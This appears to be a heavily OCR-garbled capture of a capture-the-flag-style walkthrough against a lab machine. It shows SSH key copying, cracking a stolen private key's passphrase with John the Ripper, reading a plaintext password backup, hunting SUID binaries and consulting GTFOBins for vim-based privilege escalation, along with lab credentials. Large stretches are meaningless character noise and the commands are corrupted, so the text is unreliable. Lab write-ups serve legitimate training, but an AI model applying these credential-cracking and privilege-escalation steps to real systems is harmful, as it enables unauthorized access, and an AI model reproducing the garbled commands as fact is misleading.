DEX-Info; AES~128~CBC, GABATDEISCOBE5079B92CIFTEOE2FETS

ToNb/ J0g2Rd5 6[22.‘UMHL HUSZ1CrRrAONGUANKC Rxg3+9unéxcu ) p2ubutiZ

o9ey 1EJBAmIZTueBPs BIRAFYKTOWArYHty1IK2aly2ika2Cnf 328 L Lve FMacisN
HRx}u!NRL&CXFNEB)n Alc.’\rPZHlﬁl”OFI\ISFﬂYl/OP!OJLF'rkD vxXzbd FX
AKAN S 3TSFUSSAEVKBItInLTEBAS 1nx SV T LXAqIaX5QFeXMac IGOURCHAT LpY N
LGABAGT VRS IANPL e L X7 UNSRUBINZSS TPl pLbChLUEawXOT L o VK6 k zheBkOaU

MNQICAND/U+dRa Su30xqy K LRU2dPs e r Ly PAgacy + ogk/woTbaTrkRngiql axml
LINZyedyrLETFe275h2WYNGFKLEtOFa Ly 8 QG IrM+eVoX0rZPB LyBLyNTDIDE
3IRIqPOGLPSA T hANK TR PREr 181 cZ+0 L YOOV ol L 2xXUgtOpV 2 JnH B4 yGd XbF )
LYWL ) Jp VWK Coa T Spe 4 2V FrNt 00 cKAO KD 1a RGN GL P na Px IYVEH aubloVEX K?
hUpO 42 LYVSSROSERpWDR 1 BNRFNGP1EEhNTTYR 7 TACAYGZHALpIAG Zev/ 0bafi TN D
RVRY ICUF 7x6Nnba2 YHZNEMDPEZ 1 BAFSAYFCIECICOgRS TYQUX FhECI IRV rhdx vy
VN S50t + CZF 7 mbWeSn FSTPPLONRGCE dmrUEU & Th L 2 Beint s+095¢Fecemnive
BMhgnPLDLVLZ3 sFd ) xpOhgGXg K4 bANBNMA CAFCKTRpYCR I SKyNYVED JWYVC 3720
ysvOpYnUa FOUDCR+USpY PEPaNUL Zd20e N TNY EXCZT 2Ry y puGCRdARSART G/ kinG
unw. ( IJ;'AQK} bO+STLEXBaN) \btkeocvllvr.l.)u)uu!»’u"bz 'IQL )sl)r IXibhl

OWqUUUG Yt WaeWHGE2WIW t &
Yt WJ+ Gl RHAE a

_______ .
alfonsc@deblian: -S ssh-keygen -1 rsa

Gonerating public/private rsa k:y pair

Enter file in which to save Lhe key (/home/alfonso/.ssh/id rsa):

Enter passphrase for */howme/altonsos.ssh/id rsa” [enpty for no passphrase):
Enter same passphrase again

Your fdentification has been saved in shonesalfonso/.sshy/id rsa

Your public key has been saved in /home/salfonso/.ssh/id rsa.pub

The key fingerprint is

SHA256 : MXEPh JEG6BhgSCiBwZnylnd? fyr S0L j IdTWSXS/Hr4 al fTonsoBdebiar

The key's randorart image is:

#---[RSA 3072]----+
| oo . |
4 |

..D0 . |
|... B .0 . |
40+ S0 |

Et 6Wt ! NWU

ECWG ¢ WHeE! GUacé WOt o WA D¢ WG W3HSII! YWRT x|+ ¢ IOWEt ql
cUWGett s Yl T Wue RUI YWRYUWDHRqe! GUIWENIT ReUqWe Uc WG s
GY!|l Wade2J10

on:~/.s5h$ ssh-copy-id cerofdera.ifichar.con

/ssh-copy-1d: INFO: Source of Xeyls) to be installed: ssh-add -L
Jusr/bin/ssh-capy-1d: INFO: atterpting to log in with the new keyls), to filter
out any that are already installed

Jusr/binsssh-copy-1d: INFO: 1 keyis) renain to be installed 1if you are prompt
ed now it 15 ta install the new keys
deno@demo . SlMichar . .com's password

Number of keyls) added: 1

Now try logging into the wachine, with: *ssh ‘demo@deno.ifichar.com'”
and check 1o make sure that only the key(s) you wanted were added.

 RW6e W 2 ART YWe UW3HGE I YWRrRYUWG e WadGe23AWT JWae d Wn
Ge IJt W! ¢ WOY WA WWGRT yWUel ¢ tow



Et W UHRI W6 136Vt WRUt ¢ dc¢EMHMME: + 6t 13! nWUWea RU2 q VL
eYu200Yt WealWucaRW WINWHgR2¢alUqla

2y I . AT/ Z .
‘Mrj-ﬂ flnruoPr 8!(1\ h7a21L 55.:.\“(01‘4 stﬂaaafu!")npb.: uhula‘u
A PSDACNTQALTPOVISMM A+ STREZEYTEAZITRN I U2 0T ZTVAC HUY6Q
3ops2kfizie NZARY V‘OSEHIJ\ r'si l(?’MP’RNlJ bf:(n-O (
WrIVsg I JoTpF L K
URUVQVBhDS 7 cgdc 3
GIEXXRIIXInF &GRbs 1 Ryo fE2ucYSOecrAriCiggeX | Y¥ncxiyK
ADKNS s T/ yREwWB L g TES ySAd+ X deMoIAKSC LYy 1 T 2wdaNZ SedSysXuViBAINS
PhQLIRBOTZ ETsuXx f DVKr PeaOKEE 1 vhEVZQXYSOHRGCUADYRCAGA L GMYA 191 2eulR
08 J VWWBVVZIBR w3 Y IRV Lr INQ7ONGAY 2pnC+ LeRgF3y rPoazkiAapkydeqcy
evbeTe FzhBhyVgal iWguDUZtROTwf LB J 80D L g+HEMLVIE/02 FXOKYE tgf e AUC
5 BARLSDnbHS DXr TP LATO9CK riirl 7TaFS J141F 30T LAE Jwh60/Y 12PVEI8LG
iugxt Tus91 YT qov /RBTr07Ge yX 5L /SH1 J6T6s JKEGaBa FSIMhATErePkT
T/COVLBRM2 2 Enao BT 2uM SVIaNNENT Lng § FNLVICONTONKZ 1 3 22ndr i hgl + /W0
4eaCARKIhUL 3050 N3 7 pQWRNDGAAPX He LEPYERS 211 tBaPuP BUF JBLEFINNYE
e 3OFSDLUTORCY 2w/ DIVEF +4 1 AQ3RIOBUIRY +kePFIKKeWI LYWIY 7Cp foISd74VT
301/ 2MIACHTERT SSO5M60MNERuS ¢ /NBCEq 16H A L NSOZTQO2 2N FypuXthy
END RSA PRIVATE KEY
jangbasic2: /bome/kay/ . ssh$ 1s -1

« 1 kay kay 771 Apr 23 2918 awthorized_keys
1 Xay Koy 3320 Apr
- 1 kay kay 771 Apr 2048 1d_rsa.pubd
Janabasic: /home/kay/ . 55h$

Et WeUcWaaec2VWGI R2¢1T ¢ IOWEY qqét WHRGaec 213t We Ue W2 JAWRY U:
Dt qCWwrHYU3ZNe !l ¢ YW WOYWGecWOWHDY Raqe G Yt OWERUWIWIGHE! T
GOc2W 1+ 6WGe 13T 1J LW sIBl YUl Ui 61390 BREEENEN WWHIEGIYILI o ¢ W + 6 Wt
DTe¢ Wl ywt Wl weOWset 610

Et W UARI AWaqYT YWIG WqYHSYWIt qUWT DWHEE! ¢ #HqlIl 131 W We
TItHEeI Nl UYY WqVYT ¢ Wt ¢cWHYY Rage WIWRUqUWUqel WrYULWs 6 Y

GYl cW2YO200Y WECOWucecdRW! W2¢aYH WeW6eHIII WE Wal ¢ 131 L
M L TREAD N @ = FON I Y FONGOOIOI @ B iy I o n YUt Yo ?2 10t Hel D¢t ot t 6

Jangil92.168.1.33: /bone/kay/ .ssh/+ /home/alfonso/Descargas/ssh
% WARNING: connection is mot usimg a post-quantun key exchasse algorithe,
wh This session nay be vulmerable to "store now, Ncc'yal tater”™ attacks.

** The Server \n’ meed Lo be uwppraded. See hitps:/fopeassh. com/pqg. htal
Janqls2.168,1. § Passwore:

authori.ed,ke.‘s

1d_rsa

id_rsa.pub

Yi WGRT DWW WGettsYI T aWWmel ¢ Ul Y

OW! ¢cWqWUT | REWaYH WIHGWII Y W 13t #Hel NeT Y wyUwe RWa € hue



-

Descargas/ssh

~/Descargas/ssh

authorized keys id_rsa id_rsa.pwbd

EOqYURDE AWqUURE Y WG W6 et 6 W JWa el + 6 Wt 3! Wi Ja et

} RWhe JW2é & Bi=m&Edi ¢ 1w
MWt 66 =TY6UWRT x|+ ¢ WkWRT x| t ¢ g # q

1h - [~/Descargas/ssh’

authorized_keys i1d_rsa 3d_rsa.pub

~/Descargas/ssh
id_rse > id_rsa. .1t

MmWUe UY WRT x1 t ¢ 1Oq # q
9YOUGI YA¢cGVYY Whe JWIt qCWARIVDUWGE IHE Y

owec6Yl ¢clWet cavYt WTYSUWq6 W RGGUI ax

MLWT VY6 ULWRIT6xYIst ¢ HOq # q LU
MWTYSUWRT x1 t ¢ 1Oq # q

-

C



~/Descargas/ssh
id_rsa.txt
0 possword hashes cracked, 1 left

|| ~/Descargas/ssh
id_rsa.txt

Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenP threads
Proceeding with <ingle, rules:Single
‘Q° or €tri-C to abort, almost any other key for status
done: Processing the remaining beffered candidate passwords, if any.
Procesding with wordlist: /oCEmElRTEES S N ST el Y
Proceeding with incremental :ASCII

610GV Whe JWs YEUAWGY! Wi UnHqYAWe qRIRAC W 2 Ws VI T dRY
20WaYaWU0UqYW6e HI ReGYY WeqRGRACGT Ya

MWt 6=ZTYSUWGeE ! ¢ Whe JWARYU2RIII q¢ WH¢ WHGE 2 1IWIE ¢ WHE 2 (
GCt WnCHRGWI WwW yaYUYHDI WGE!l ¢WsYoUWWs YoULW2¢ W6 e HRI

~/Descargas/ssh
c id_rsa.txt
Using default imput encodisg: UTF-8
iiLoaded 1 password hash (SSM, SSH private key fW]T’
st ipher [0=MD3/AES 1=MD5/30ES 2=Bcrypt/AES]) is ® for all loaded hashes

Qcost 2 t tion count) §s 1 for all loaded hashes

Will run 6 OpenMP threads

Procesding wath single, rules:Single

Press 'q" or Ctril-C to abort, almost any other key for status

Almost done: Processi the remaining beffered candidate passwords, 1f any.
Proceeding with wordl /share/joha/password . 15t

Proceeding with incremental (ASCIT

g 8:00:01:05 3/3 9g/s G1MKp/s &140Kc/s 4L4OKC/s s*..n;

o |
EGWETNY! RogaYWIUWAGe URYWHYNDUW! WwWivyw2cewet ¢ UT YWGE | ¢

BT JWH e Ws VITaREqeWRARYOWIE WWeaNY!I Rga YWl WWIUHI RGqc+
Ge Dt w7f ] 8

~RIJUql ¢t Wal ¢HETCWIt DWs YEUAWG! 2 JA¢ WY ql Ya
MWTHBHFUMGR qoat | ot 6¢l DosYI T ORY qt ol YRt ! Y2 lOq# qlWRIT >

~/Descargas/ssh

id_rsa.txt
Busing default imput encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSAJEC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0*MD5/AES 1%MDS/3DES 2+Berypt/AES]) is @ for all loaded hashe
B Cost 2 (ateration count) 25 1 for all loaded hashes
Will run 6 OpeniP threads
BCrash recovery file is locked: /home/alfonsa/. john/jobn, rec

Acl DHDWe JWe aNYWSEewIUrYUql ¢T1 Ya



MWACqo6YalWoclinYUt YolOTY6UoTVYG6 U UH

~/Descargas/ssh
id_rsa.txt
@ password hashes cracked, 1 left

~/Descargas/ss

id_rsa.txt
Using default imput encodimg: UTF-8
SSH private key [RSA/DSAJEC/OPENSSH 32/64])
Cost J (KDF/cipher Iu m);& 1=M05/30ES 2-Berypt/AES]) 1s @ for all leaded hashes
Cost 2 (iteration cour is 1 for all loaded hashes
Will run ¢ OpenmP thread
Proceeding with single, rules:Single
or Ctri-C to abort, almost any other key for status
Alnost done: Processing the remaining buffered candidate passwords, if any.
F with wordlist: /usr/share/johm/passwerd. st
ing with incremental (ASCIT
(05 3/3 0g/s WILONP/S A140KE/S A1GDKC/S Sv..n;
158 3/3 9g/s 3378Kp/s 3378Kc/s 337BKC/s prisemcue. .prisesads
I¢ G:00:08:29 DONE 3/3 (2020-03-38 20:48) 0.001963¢/s 3810Kp/s 3810Kc/s IB10KC/s beelkre.  beeswin
show* optiom to display all of the cracked passwords reliably
Session completed,

~/Descargas/ssh

Acl WHIWe JWEaNYWSe WIOHRYUql ¢T Va

2 REIWhe W W JWqRGYWRT x|+ ¢ W W WWIGEac¢ Wb s ¢ #r
HYUqRIWUILWEG G W+ 6 Wt 13! 1O

~/Descargas/ssh

G kayd192.168.1.33
** WARMING: conmection is mot using a post-quastum key exchamge algorithm.
>+ This session may be vulmerable to “store now, decrypt later” attacks.
o« The server may meed to be wpgraded. See https://openssh, com/pq. htal
MENayR192.168.1.33's password:
ssion denied, please try agaln.

§92.168.1.33"s password:

Y ion denied, please try again.
Kaya1s2.168.1.33's password:

Et qYWOYWwauwi uTe

Al Yut RWEeNY

M LU R I RUIE ¢ 1! o NI = FON = Y FON 0O O

Wt quWeEYae 0T YWt WGe !l ¢ Whe JWOY WE WWGRT ¢ Wi ¢ WY Uql ¢

o

~/Descargas/ssh
d_rsa kaygl92.168.1.33
A% WARMING: conmection is mot using a post-quamtum key exchamge algorithm.
i+ This session may be vulmerable to "store now, decrypt later”™ attacks.
*« The server may need to be upgraded. See ht +/Sopenssh, con/pq. htal
TR IO T IS S TR PRSI S RS T S SR R T S S R T T S SR I T R S S h}k}.’n

ING: UNPROTECTED PRIVATE KEY FILE!
3 dtmﬁibmhtuMhquhmuﬁhdtuﬁh
Permissions @644 for "Ld rea” are 1oo open.
It 15 required that vour private key files are NOT accessible by others.
This private key will be ignored.
Load key *1d_rsa®: bad permissions
Kayal52,168.1.33'5 password:

~JW RAEWW DWIJIGW3IHG I YWIt qCWT WGe¢t ReT YWEHRIWUI qVYa



I~ ~/Descargas/ssh
id_rsa kaygl92.168.1.313
a* WARMING: conmection is mot using A pest-quastum key exchasge algorithm.
#% This session may be vulmerable to "store now, decrypt later® attacks.
*« The server may need to be wpgraded. See ht
TS 1 e R ATTAS T IATE
UNPROTECTED PRIVATE KEY FILE!
ki el ook SRR TR ST A I TR R AT
Pereissions 2044 for "id_rsa” are 100 open.
It is required that your private key files.ax» NOT accessible by others.
BThis private key will be ignored.
Load key “id_rsa®: bad permissions
Kayal92.166.1.33°5 password:
Permission denied, ase try again.
Kay@l92.168.1.33"s password:
Perwission denied, please try again.
Kayal92.108,.1.33"S password:

I~ ~/Descargas/ssh
authorized_keys id_rsa id_rsa.pub id_rsa
l‘: ~/Descargas/ssh

suthorized keys id rsa id rsa.pub id rsa.txt

~/Descargas/ssh

total 2@

~rv-re-r~~ 1 alfonse alfomso 771 mar : 25 authorazed keys
-rw-r——r— 1 alfonse alfomso 3326 mar id_rsa

TW=T==T 1 alfonse alfomso 771 mar 3 1d_rsa.pub
I 1 alfonse alfomso 4702 mar 2 id_rsa.txt

~/Descargas/ssh

EOqYUHRINE WqRuOWa VYt Whe Ja
MWHT G YT WS MMWRT x 1t ¢

~/Descargas/ssh

I’ 600 1d_rsa
~/Descargas/ssh

Brotal 24

~ru-ru-r— 1 alfonse alfonso K suthorized_keys

~IW-~ 1 alfonse alfomso 33 20:85 1d_rsa

-Id-T alfonsa alfoaso 2 1d_rsa.pub
alfonse alfomso 47 20:38 1d_rsa.txt

~/Descarga
v id_rsa kay@192 .

#% WARMING: conmection 15 mot usimg a pest-quamtum key exchamge algorithw,
Bi** This session may be vulmerable to "store now, decrypt later™ attacks.
#+ The server may meed to be upgraded. See htips://openssh.com/pq. html

Enter passphrase for key "id_rsa
Welcome to UBUNtu 18.04.4 LTS (6 inux 4.4.0-119-generic x86_64)

8 + Documentatiom: Wttps://help.wbuntu,com
* Mamagenent : https://landscape. camonical.com
i§ + Support: nttps://ubunte. con/advantage

{283 packages can be updated,
200 updates are security wpdates.

New release "18.06.8 LYS' avalilable.
Run 'do-release-upgrade’ to upgrade to 1it,

Last login: Mon Apr 23 16:94:07 2918 from 192,168.56,102

Rlayabas £

OWedY!l ¢ Wt RWhue DWa ¥W WTewdUql ¢! wrYU
Mt HFSLWIR TE ¢ 1! fo AL = FON = Y FON H0O O
ucORWUY WG WWIIY q¢ Hewl IT¢UT YW


mailto:kay@192.168.1.33

Last Login: Mon Apr 23 16:94:07 2918 from 192.168.56.182
hayzbasic2:-$ sudo su
[sudo] passsard for kay:
MSorry, try again.

Lsudo] password for kay:

sudo: 1 Ancorrect password attespt

Hayabasic2: 3 ls
Mpass,bak
IM‘-(:",:aI: $ sudo -1
(sudo] passwerd for kay:

ine

------- 1 kay kay 37 Apr 23 2918 pass.bak
3 cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicyss

kayabasic2:-$ l

~

0¢c WG T WWIUq! ¢l W WedaWwser Il a
MWHAE qWGEt + OAC
Az 1Jt W20 W0c¢ WGYt RAGUWHRGE2r 1
EQWIYWeUOYqewyOwt e wAG YHW JWOYqcet a
MIIP 192168 176 Target PY

® MilP192168176T

ML IP: 192.168.1.76
Tarset: 192.168.1.33 0B:09:27:97:62:de 60 PCS Syst
CnbM

usuario: janm, password: armande

SUDO SU: wsuario Kay, password:
heresareallystrongpasswordthatfollowsthepasswordpol icyss
pass del 1d_rsa = bDeeswax

oWYdijAWIYNl ¢1 Ya



1 Xay kay 57 Apr 23 2018 pass.bak
$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$s

kayabasic2: -3 swio su
{sudo)] password for kay:
FOOraRasic2: /hone/kayn

ceWHYUL WNa RT YW Uql ¢l WHRYGYW YYqrr

claYt W ¥EYITEel YW Wal ¢AETET Ya

p EVUadnNiRUe #

p xRUGU¢t

p cllGVYt WIOARYUq!l ¢T YWe OWZHSWI YW + ¢cwrYOWTYSUWq6 1
¢t 6HOWO We Wal ¢2ijt W YowWset 6W6KIGYH WYHqUWURT Y WJa
bt Wt ! Weel ¢cwrYUUHEqe! UYH oWOUe w2 DAWHRYUWHRqET Y
G130 Y WA YN el A Gt HBsexRe INY W 0We OWs #6131 Y W 1JWC
GcWGettsYITWGeE! ¢Wt eHRI WHYGYWI YYqtO

Ell VI Wt WAWGRY q¢t WIULW 131 2 LWo WsIH 8 e ¢ U & W ¢ &e 3
HYt RGGCH 1O

oOcWHRYOGYW YYqW2 ¢ We WoMé ¢ wée wmd Radz iy ma RQUSID o WHZT R
cCCHOE W DWIYt W3sHEWI Y WEOf ?2a

100 1008k 100 1086k L L 27 ¢ e:o1:m1 e:g1:01 ie=:

an
39K May 16 2017
oot 40K May 16

FrusT-xr-x 1 root root 33K May 16

x 4 2
TwsSr-xXr-x 1 root root 27K Nov 3¢ 2017
Frusr-xr-x 1 root root 31K Jul 12
~IUSY-Xr-X 1 root root 4K Nev Je 2017
ST XP X t L4K May 7

dow 33K Apr 9 2018 /sbis i hkpa
D’ 9 2018 /sbim
Q16 Jucp/

EYUWIZHGII Y WRAGY!I q¢e¢ Uqlt Whe JWGW!I G RqUUWUITWUH: q¢ | LWt



Et qVt W3H61II Y WGYT I ReUWGW! G RQRI G WWIIt He G ¢l WGl R2 R

EOqYUHRNt AlAzt #¢l WeaNZ0WIHGE W YWe WY1 T WOWqRGY WEOF °
DTWHz ¢l ¢ WIa W YYaqto

cc Al Re Whe JWaRI ¢! Wt RWIOWe aNe UYWT Wt Vi W3HGEII Y LW
hue WWE WGE | qRI WT WWE ¢ WITWH HRYZUOWGYT W31 Wt Hedcel WG |

TRWaCt awt Wl ReWde! WRUqWI Ut ¢UqWEdN2¢! WeWREAYWqVYT
p EVUaanidRUe #
p Et 6ZTY6U
p xRUGU¢t

Yl ¢lW2c¢WecWHet Ael W3HSWI Y WGY!I WOYAH!I WonldJAGCE B

M W3 od 1 gaLamM M HO

t RWAzt He WqVT Vi WY W3 HG6 I Vi WiuzdIRlaRUHORIWAKEIIW & RID &R0
quUNEc WG GRE Vi W WWITWHz qc¢l + WWHY G YW YYqto

écOYt WeWRAeNRUGT WIGWHYGeUT YWwWUe UV WY WHE q OWE R Wa R1I L
Ut qe 2RI ¢ WITWHe qc OT YWIWG W YYqOWAY! Wa Y Whe JW RNUR?
3t WweYae 0T Yio

LU

EOf 2all3HS I Yt WITWH2 qc¢ Aa It Whe IJWhe RIJRIWA U3 YALOILUTIMHEE
| YYqltOo

NeGARjOWUOYY Whe JT ¢1 REWARI ¢ WG WG Ul qVYLWYMYMLUWb G¢+*
MBNN =M= 2

AdGet ¢cldYt WaYW2RY qYa

C¢cHRcOYt WEWAEYWe Ulx RUGI¢Y W! W6¢ HRea Y WIURYUql ¢T Y

OYNRGOY WG Ws Y6SUWq6 WWAIWICEC G W wi 3+t JUHI RGaqc¢ G Yt Wac¢l
te!l W w RIOT YWt ¢! WaynlcavYt waYU211 qRI OV waowl YYqt

Et qYWIJt WaYWhe JW6 RARG YT 1O

Yl ¢clW2c¢caYt We WRUqIBEDG @ OWE Y UHISEE IO RARO I RUMIMIH2 HR |
tue JWG2 BT WWUITWHa qc¢l WHe¢Gha RIJI WG+ YU¢E WG Y Whe 1J LW
| YYqa



(The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Apr 1 12:50:03 2026 from 192.168.1.76
jangbasic2:~$ find / -perm 4000

M L3 o 10 ol T MM M
Vi W cawwWe Uc Wi Rt qécWae! Wiel NE Whe JW RADWBLE! & Rt YL

applicable law.

Last login: Wed Apr 1 12:50:03 2026 from 192.168.1.76

jangbasic2:~$ find / -perm 4000

find: ‘/etc/polkit-1/localauthority’: Permission denied

find: ‘/etc/ssl/private’: Permission denied

find: ‘/run/lxcfs’: Permission denied

find: ‘/run/sudo’': Permission denied

find: ‘/run/samba/ncalrpc/np': Permission denied

find: ‘/run/log/journal/a59c744e2166cb4a90376b2f5ad6279f': Permission denied

find: ‘/run/lvm’': Permission denied

(find: ‘/run/systemd/inaccessible’: Permission denied

‘find: ‘/run/lock/lvm': Permission denied

find: ‘/proc/tty/driver': Permission denied

find: ‘/proc/1/task/1/fd’': Permission denied

find: ‘/proc/1/task/1/fdinfo’: Permission denied

find: ‘/proc/1/task/1/ns’: Permission denied

find: ‘/proc/1/fd’': Permission denied

find: '/proc/1/map_files': Permission denied

find: ‘'/proc/1/fdinfo’': Permission denied
‘/proc/1/ns': Permission denied
‘/proc/2/task/2/fd’: Permission denied
‘/proc/2/task/2/fdinfo': Permission denied
‘/proc/2/task/2/ns': Permission denied
‘/proc/2/fd’': Permission denied
‘/proc/2/map_files': Permission denied

‘/proc/2/fdinfo’': Permission denied

0 0:01:51 0:01:51 --:--:-- 3941

SUID - Check easy privesc, exploits and write perms

root root 39K Jun 14 2017 /usr/lib/x86_64-1linux-gnu/1xc/lxc-user-nic
root root 15K Jan 17 2016 /usr/lib/policykit-1/p helper-1
root root 10K Mar 27 2017 /usr/lib/eject/dmcry

root root 84K Nov 30 2017 /usr/lib/snapd

root root 419K Jan 18 2018 /usr/lib/openssh/ssh-ke

root messagebus 42K Jan 12 2017 /usr/lib/dbus-1. emon-launch-helper
root root 2.4M Nov 24 2016

root root 23K Jan 17 2016 /usr/bin

root root 39K May 16 2017 /usr/bin

root root 49K May 16 2017 /usr/bin

root root 134K Jul 4 2017 /usr/bin

root root 40K May 16

root root 33K May 16

daemon daemon 51K Jan

root root 74K May 16 2017 /usr/bin/

root root 33K May 16 2017 /usr/bin/new

root root 53K May 16 2017 /usr/bin

root root 40K May 16 2017 /bin/su

root root 139K Jan 28 2017 /bin

root root 44K May 7 2014

root root 27K Nov 30 2017

root root 31K Jul 12 2016

root root 40K Nov 30 2017

root root 44K May 7 2014

Et qYWGa T JWUt ¢! WHAHRWDUWI WYW2 13! dVYalls] RAGIII Y WAY U LWF



Fil

SUID - Check eas

-rwsr-Xr-x 1 root root 39K Jun 14 2017 /usr/lib/x86_64-1linux-gn
-rwsr-xr-x 1 root root 15K Jan 17 2016 /usr/lib/policykit-1/pol

-rwsr-xr-x 1 root root 10K Mar 27 2017 /usr/lib/eject/dmcryp
-rwsr-sr-x 1 root root 84K Nov 30 2017 /usr/lib/snapd
-rwsr-xr-x 1 root root 419K Jan 18 2018 /usr/lib/openssh/ssh
-rwsr-xr-- 1 root messagebus 42K Jan 12 2017 /usr/lib/dbus-1. 3 mon-launch-helver
-rwsr-Xr-x 1 root root 2.4M Nov 24 2016 _
-rwsr-xr-x 1 root root 23K Jan 17 2016 /usr/bin [Qj
-rwsr-xr-x 1 root root 39K May 16 2017 /usr/bin
-rwsr-xr-x 1 root root 49K May 16 2017 /usr/bin
-rwsr-xr-x 1 root root 134K Jul 4 2017 /usr/bin
cot oot Lo Y. bin/ b,

Et qlWaqRIUIIWHAHMBERIBEGR U ¢ W] Of 2 W
ceHUW Wnl DORRecWedWARYGeUT YWbL2 RO wa
mLlW2 RG

VIM - Vi IMproved

version 7.4.1689
by Bram Moolenaar et al.
Modified by pkg-vim-maintainersglists.alioth.debian.org
Vim is open source and freely distributable

Become a registered Vim user!
type :help register<tEnter> for information

type :q<Enter> to exit
type :help<Enter> or <Fl> for on-line help
type :help version7<Enter> for version info

RiWnz UHRYUC W UWnY! GEWGE! qRHzGE | IOWEY We OWIT RV L
cWnYqYWeUql RYI WrvahwdAlllmba 6 1J0 GB

[ex 3NN

Ctwt WUHRGGOYWet ¢! WOecUYWGW! YW2RG Wt Wa St WSYquUql

l

jangbasic2:~$ find / -perm 4000 -type f 2>/dev/null
jangbasic2:~$ find / -perm -u=s -type
/usr/1ib/x86_64-1inux-gnu/1xc/1xc-u[gr-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/1lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign

/usr/1lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/vim.basic

/usr/bin/pkexec

/usr/bin/newgrp

Jusr/bin/chfn

/usr/bin/sudo

/usr/bin/chsh

M W3 od I egilllgn G I Wn W=%ol W20 Uz dd



Et qUWHEYG¢UT YWt RWhe WWne URRY U¢ WARIIUIO

ERUWWAACI DYAWRY O YWx RUGWE WA NWEe AR WET 2101 qRT VWi |
Gel ¢ WaRI ¢ | WNdza

jangbasic2:~$ pwd

/home/jan

jangbasic2:~$ cd ../kay/

jangbasic2:/home/kay$ 1s
check_if_the_sudo_version_is_vulnerable HP-UX_10.20 pass.bak
jangbasic2:/home/kay$ |

jangbasic2:/home/kay$ 1s -1
total 4
-rw-r--r-- 1 root root 0 Mar 30 15:04 check_if_the_sudo_version_is_vulnerable
-rw-r--r-- 1 root root 0 Mar 30 15:04 HP-UX_10.20
1 kay kay 57 Apr 23 2018 PEERHIELS
jangbasic2:/home/kay$

Et qu Wt Wi YUT dWit qCLld ¢ WHGE 2 JIOWEG W3 HSE I YWGEt t+ IOAG t
scUWOYWaqRUIUWDWGW!I GRY Y W JWUET ¢ OWE O Whe Wt wWa Ct wi Y
EUqVYUHDDY Weawt Ul WTe¢UWbet 2¢l RYW RUWGI R2RGINNRYY b a

jangbasic2:/home/kay$ vim pass.bak
jangbasic2:/home/kay$ 1s -1
total 4
-rw-r--r-- 1 root root 0 Mar 30 15:04 check_if_the_sudo_version_is_vulnerab
-rw-r--r-- 1 root root 0 Mar 30 15:04 HP-UX_10.20
1 kay kay 57 Apr 23 2018 pass.bak

jangbasic2:/home/kay$ cat pass.bak

cat: pass.bak: Permission denied

jangbasic2:/home/kay$ nano pass.bak

Unable to create directory /home/jan/.nano: Permission denied

It is required for saving/loading search history or cursor positions.

YWaqRIUUWWGW! Rt Y WT¢UKWAY! W3t YAWT 13+ T 3WT ¢ ULWe 0 Wé ¢
MIWFECE qIGEt + IOAE t OW? ¢ WG a Rt YW y0wnert v
MWOec UYWGEt + FOACE Tt OW? ¢ WG a Rt YW 30WNeT v
AEA§AWIOSE~8UWcE~8EWéf ENSWAOEWBL2RAWWNT E EWExXx WAEA~ T
0wiecUAcel a

MLW2 RO WGE + NAKIRIE HWMIE x W[ f 9cEAS§rr WolWo WEE§Wx W9x €EETr



alfonso@kali: ~

jeresareallystrongpasswordthatfollowsthepasswordpolicy$

GWw2 Il We2REwWe OWWIT RaY! W DWagW+qVY W WIUOHRG ¢ WIIt WEOf
hue WG WWGE Y W2 ¢ We We Al RIrr

EVWAYGRE WIcWGet t sYI T WheWWse W2 R qYWT WUql YW 136 W3¢
OoWUUqYUHDE W WWaYNWE a

210t T JWT¢Ua

MLWE 2 Wt ¢!

Password:

su: Authentication failure
jangbasic2:/home/kay$ vim pass.bak

jangbasic2:/home/kay$ su kay
Password:
kayabasic2:~$

oW ¢ Wt qY! Wi yUql Yiouw

Et W UHRI AWGXIWSIWHY U211 qRT YWIOWE ¢! Wi 3+ 17 3wl 30ql YH
OWT WHT WWneaJl ¢AWIYWSECHRecWaYNI ¢T YWe UquUt WeYULWGE e W 4
AYI WagcecUqYAWdewWwdCheRUe Wt ¢l ReW2zeaUWI ¢T ¢ Wage dHRI
BARUCECT RYWT ij ARGt b AW HGS I Y WGY! WG GRt RYGYNR¢ WON

ACnNRUc Wt 2GWI WRUqWI Wt ¢Uqla
] N[ 8§ 7RUt 1O
6 qaqGt aooRagnYHRUt KOYI No

Vi W2¢We WG GRaqRI WS¢ HIII W d1IGaW 32131+ WWYLWe Gl Y2 1IF


https://gtfobins.org/
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_/ Sponsor

[ vim

File read
This executable can read data from local files.
Sudo SUID

(a)
This function can be performed by any unprivileged user.

The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling

arbitrary binary data.

*) Sponsor % Fork YrStar 12871 @

/ vim

File read
This executable can read data from local files.

Unprivileged Sudo

(a)
This function is performed by the privileged user if the executable has the SUID bit set and the right

ownership because the effective privileges are not dropped.
| redir END | q'

im -c ':redir! >/path/to/output-file | echo "DATA"
R

The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling

arbitrary binary data.

2¢ WOWYGHRY Ut a
YWqUUNYWG!I R2RGWNRYYt Weie UGI R2RURNIT b
YI W el VY

p pa
p E
p EOf ?



/ Vim Sponsor %’ Fork ve Star 12871 @

File read

This executable can read data from local files.

(a) Sudo SUID

This function can be performed by any unprivileged user.

cc! W2el Ret WYGHRY Ut B

ERUWDGAG NYAW2RGWOYWqRWOIW 6ddol W21+ Wa

NRIWOWWs[ RGWWAWET wW! Wnf U611 Raw
éYI2RIU0OT YWe W21 WIGEWIRE q¢T Yive JWEEARE Y W ¢ HeT YL

M ome/Kay/ .Ca B » Fe C
jangbasic2:~$ find / -perm 4000 -type f 2>/dev/null
jangbasic2:~$ find / -perm -u=s -type f 2>/dev/null
/usr/1ib/x86_64-1inux-gnu/1xc/1xc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
